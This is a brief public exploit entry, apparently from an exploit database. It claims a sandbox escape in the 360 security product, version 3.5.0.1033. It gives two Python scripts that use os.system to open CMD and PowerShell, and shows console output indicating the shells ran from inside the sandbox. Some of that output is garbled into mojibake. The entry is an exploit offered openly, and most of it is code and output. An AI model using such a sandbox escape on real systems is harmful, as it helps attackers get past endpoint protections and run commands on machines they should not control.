360 version 3.5.0.1033 suffers from a sandbox escape vulnerability.
bb9566915272aa0402dd8917b0a2cd8f# Exploit Title: 360 3.5.0.1033 - Sandbox Escape
# Date: 2018-10-08
# Exploit Author: vr_system
# Vendor Homepage: https://www.360.cn/
# Software Link: https://dl.360safe.com/360/inst.exe
# Version: 3.5.0.1033
# Tested on: 3.5.0.1033
# CVE : None
# 1aCMD_test.py
import os
os.system("CMD")
# 2aPowerShell_test.py
import os
os.system("PowerShell")
# 3a
# Running CMD_test.py in sandboxi1/4
Microsoft Windows [cae! 10.0.17134.254]
(c) 2018 Microsoft Corporationaa?caeaeaea(c)a
C:\Python27>
# Running PowerShell_test.py in sandboxi1/4
Windows PowerShell
caeaeae (C) Microsoft Corporationaa?caeaeaea(c)a
PS C:\Python27>